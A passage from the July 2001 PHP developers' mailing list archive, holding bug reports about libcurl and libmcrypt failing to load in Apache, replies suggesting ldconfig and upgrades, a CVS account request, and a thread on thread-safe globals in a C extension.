--with-curl=/urs/local/include/curl" options as perscribed by 
http://curl.haxx.se/libcurl/php/install.html. 

The configure, make and make install proccess goes fine but when I restart Apache 
(version 1.3.14 rpm install) I get an error like this: cannot load modual 
/lib/apache/libphp4.so can not find libcurl.so.1. I have tried many differnt compille 
options to try working around this problem but nothing works.

Please help.










Can you tell


-- 
Edit Bug report at: http://bugs.php.net/?id=11897&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11898: libmcrypt

2001-07-04 Thread webmaster


From: [EMAIL PROTECTED]
Operating system: Red Hat 6.2
PHP version:  4.0.6
PHP Bug Type: Apache related
Bug description:  libmcrypt

I am writting you because I have compilled libmcrypt version 2.2.7 with the following 
options "disable-posix-threads prefix=/usr/include/libmcrypt". I have also 
compilled PHP to have "--with-mcrypt=/usr/include/libmcrypt".

The configure, make and make install proccess goes fine but when I restart Apache 
(version 1.3.14 rpm install) I get an error like this: cannot load modual 
/lib/apache/libphp4.so can not find libmcrypt.so.2. Altough I have verified that that 
all needed files are prescent. I have also tried many different compille options to 
try working around this problem but nothing works.

Please help.










Can you tell


-- 
Edit Bug report at: http://bugs.php.net/?id=11898&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11898 Updated: libmcrypt

2001-07-04 Thread cmv


ID: 11898
Updated by: cmv
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Apache related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

I seem to recall that the later versions of PHP don't support 2.2.x libmcrypt anymore.

Libmcrypt is up to 2.4.15 now anyway, with significant fixes.  Is there a reason you 
haven't upgraded?  I'd try that first, then see.

(I'm assuming you've done the obvious and ran 'ldconfig' after installing libmcrypt.)

- Colin

Previous Comments:
---

[2001-07-04 23:09:45] [EMAIL PROTECTED]

I am writting you because I have compilled libmcrypt version 2.2.7 with the following 
options "disable-posix-threads prefix=/usr/include/libmcrypt". I have also 
compilled PHP to have "--with-mcrypt=/usr/include/libmcrypt".

The configure, make and make install proccess goes fine but when I restart Apache 
(version 1.3.14 rpm install) I get an error like this: cannot load modual 
/lib/apache/libphp4.so can not find libmcrypt.so.2. Altough I have verified that that 
all needed files are prescent. I have also tried many different compille options to 
try working around this problem but nothing works.

Please help.










Can you tell

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11898&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11897 Updated: Curl

2001-07-04 Thread cmv


ID: 11897
Updated by: cmv
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Apache related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

This is the same problem you had with libmcrypt ...

Sounds to me like you haven't run 'ldconfig' after installing mcrypt/curl.

- Colin

Previous Comments:
---

[2001-07-04 22:58:43] [EMAIL PROTECTED]

I am writting you because I have compilled curl version 7.8 with the following options 
"--disable-ipv6 --with-openssl=/usr/include/openssl --prefix=/usr/local/include/curl". 
I have also compilled PHP to have "--with-openssl and 
--with-curl=/urs/local/include/curl" options as perscribed by 
http://curl.haxx.se/libcurl/php/install.html. 

The configure, make and make install proccess goes fine but when I restart Apache 
(version 1.3.14 rpm install) I get an error like this: cannot load modual 
/lib/apache/libphp4.so can not find libcurl.so.1. I have tried many differnt compille 
options to try working around this problem but nothing works.

Please help.










Can you tell

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11897&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] news.php.net is back.

2001-07-04 Thread Colin Viebrock


> (the server software will be released soonish. keep an eye on
> http://news.php.net/ for an announcement.)

Looks good ... although clicking on the "rss" link produces:

Warning: Cannot add header information - headers already sent by
(output started at /usr/local/www/news.php.net/nntp.inc:14)
in /usr/local/www/news.php.net/group.php on line 19

.. and then the XML data.

Can we build this into the main website somehow (a link, I suppose, and
interface integration)?

- Colin


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11899: bugs.php inteface improvement suggestion

2001-07-04 Thread a . genkin


From: [EMAIL PROTECTED]
Operating system: n/a
PHP version:  4.0.6
PHP Bug Type: Unknown/Other Function
Bug description:  bugs.php inteface improvement suggestion

Just a web-interface related suggestion.

Searching bug database with the bugs.php page is unintuitive.  
For example, I entered a search string, and pressed "Edit" button just because it's a 
lot closer to the "Search for" text box than "Display" button.
You can call me dense, but I think that for the dense people like me it would be nice 
if the buttons and boxes were regrouped a little bit.  Put the bug status, type, last 
comment and search for text boxes together, with "Display" button *underneath*.  
"Edit" button and the bug number text box should be completely separate.  Perhaps it's 
even a good idea to have different backgrounds for the two groups of elements.
The page in question is http://www.php.net/bugs.php

Thanks,
--
Arcady Genkin


-- 
Edit Bug report at: http://bugs.php.net/?id=11899&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] CVS Account Request

2001-07-04 Thread CVS Account Request


Full name: Stuart V Begg
Email: [EMAIL PROTECTED]
ID: svbegg
Purpose: I have made some additions to the DOMXML functionality in PHP4. I have 
exposed some more of the LibXML functionality upon which the PHP functionality is 
based. I want to offer these changes bak to the PHP community. Therefore, I need 
access to php4/ext/domxml. I have corresponded with Uwe Steinmann regarding the 
changes. Uwe has not reviewed my code.

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Problem with globals ZTS

2001-07-04 Thread Gilles Koffmann


Hello,

I'm in ZTS mode. Building with VC++ 5, on win 98 with PHP 4.0.5 and apache
1.3.19.

Do you have any clue for this problem ? Thank you in advance cause I'm
stucked.

Gilles

- Message d'origine -
De : "Zeev Suraski" <[EMAIL PROTECTED]>
À : "Gilles Koffmann" <[EMAIL PROTECTED]>
Cc : <[EMAIL PROTECTED]>
Envoyé : samedi 23 juin 2001 10:30
Objet : Re: [PHP-DEV] Problem with globals ZTS


> Are you building it in ZTS mode or does it crash in non ZTS mode after
this
> change?
>
> At 09:35 22/6/2001, Gilles Koffmann wrote:
> >Hi,
> >
> >I'm writing an extension to php. After changing my code to have thread
safe
> >globals ,
> >my extension is crashing and I can't figure out what it is:
> >
> >typedef struct {
> >  HashTable array_dl_handle; /* hash user dll name -> handle, getobject,
> >getcompiler, destroyobject */
> >  HashTable array_compiler;  /* hash compiler name -> handle, gps, gms,
> >version */
> >} php_delphi_globals;
> >
> >#ifdef ZTS
> >#define DG(v) (delphi_globals->v)
> >#define DG_FETCH() php_delphi_globals *delphi_globals =
> >ts_resource(delphi_globals_id)
> >#define DG_D   php_delphi_globals *delphi_globals
> >#define DG_DC  , DG_D
> >#define DG_C   delphi_globals
> >#define DG_CC  , DG_C
> >int delphi_globals_id;
> >#else
> >#define DG(v) (delphi_globals.v)
> >#define DG_FETCH()
> >#define DG_D
> >#define DG_DC
> >#define DG_C
> >#define DG_CC
> >php_delphi_globals delphi_globals;
> >#endif
> >
> >#ifdef ZTS
> >static void alloc_delphi_globals_ctor(php_delphi_globals *delphi_globals)
{
> >   memset(delphi_globals, 0, sizeof(php_delphi_globals));
> >}
> >#endif
> >
> >ZEND_MINIT_FUNCTION(delphi) {
> >#ifdef ZTS
> >   delphi_globals_id = ts_allocate_id(sizeof(php_delphi_globals),
> > (ts_allocate_ctor)alloc_delphi_globals_ctor, NULL);
> >#endif
> >...
> >
> >  DG_FETCH();
> >  zend_hash_init(&DG(array_dl_handle), 0, NULL, NULL, 0);
> >  zend_hash_init(&DG(array_compiler), 0, NULL, NULL, 0);
> >
> >}
> >
> >It crashes when I do in one function:
> >
> >DG_FETCH();
> >zend_hash_find(&DG(array_dl_handle), module_name,strlen(module_name)+1,
> >(void **)&value);
> >
> >My hashtable is empty.
> >When array_dl_handle was not part of ZTS globals, everything was OK. Any
> >clue ?
> >
> >Gilles.
> >
> >
> >
> >
> >--
> >PHP Development Mailing List 
> >To unsubscribe, e-mail: [EMAIL PROTECTED]
> >For additional commands, e-mail: [EMAIL PROTECTED]
> >To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
> --
> Zeev Suraski <[EMAIL PROTECTED]>
> CTO &  co-founder, Zend Technologies Ltd. http://www.zend.com/
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #9775 Updated: libmcrypt-2.4.9 causes random segmentation faults


ID: 9775
Updated by: derick
Reported By: [EMAIL PROTECTED]
Status: Closed
Bug Type: Reproducible crash
Operating system: 
PHP Version: 4.0.4pl1
Assigned To: derick
Comments:

Ok.. so it was a bug in libmcrypt itself.

Previous Comments:
---

[2001-07-04 22:02:47] [EMAIL PROTECTED]

With 2.4.9, the faults still occur (even with --enable-debug), but with 2.4.15, 
everything appears to be stable.



---

[2001-07-03 04:54:40] [EMAIL PROTECTED]

Please try the latest version of libmcrypt. If it still
cores, reopen this report.

Derick

---

[2001-06-10 21:32:11] [EMAIL PROTECTED]

I think derick fixed this one.. can you try latest CVS please.

- James

---

[2001-05-01 03:27:56] [EMAIL PROTECTED]

I can reproduce this on my own system, both thtough PHP and with a C-program. As the 
author of libmcrypt cannot reproduce this, I'll suspend this bug until I know more 
about it.

---

[2001-04-16 07:10:58] [EMAIL PROTECTED]

I committed the fix for the memleak, but the crash is most likely a problem in 
libmcrypt, because I had those some things when running a C program which uses these 
functions. The author of libmcrypt says this can be a problem in different versions of 
libltdl, but I had the same problem with both the 1.2 and 2.0 versions. I'm awaiting 
further response from Nikos now.

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.


ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=9775&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11895 Updated: total crash of PHP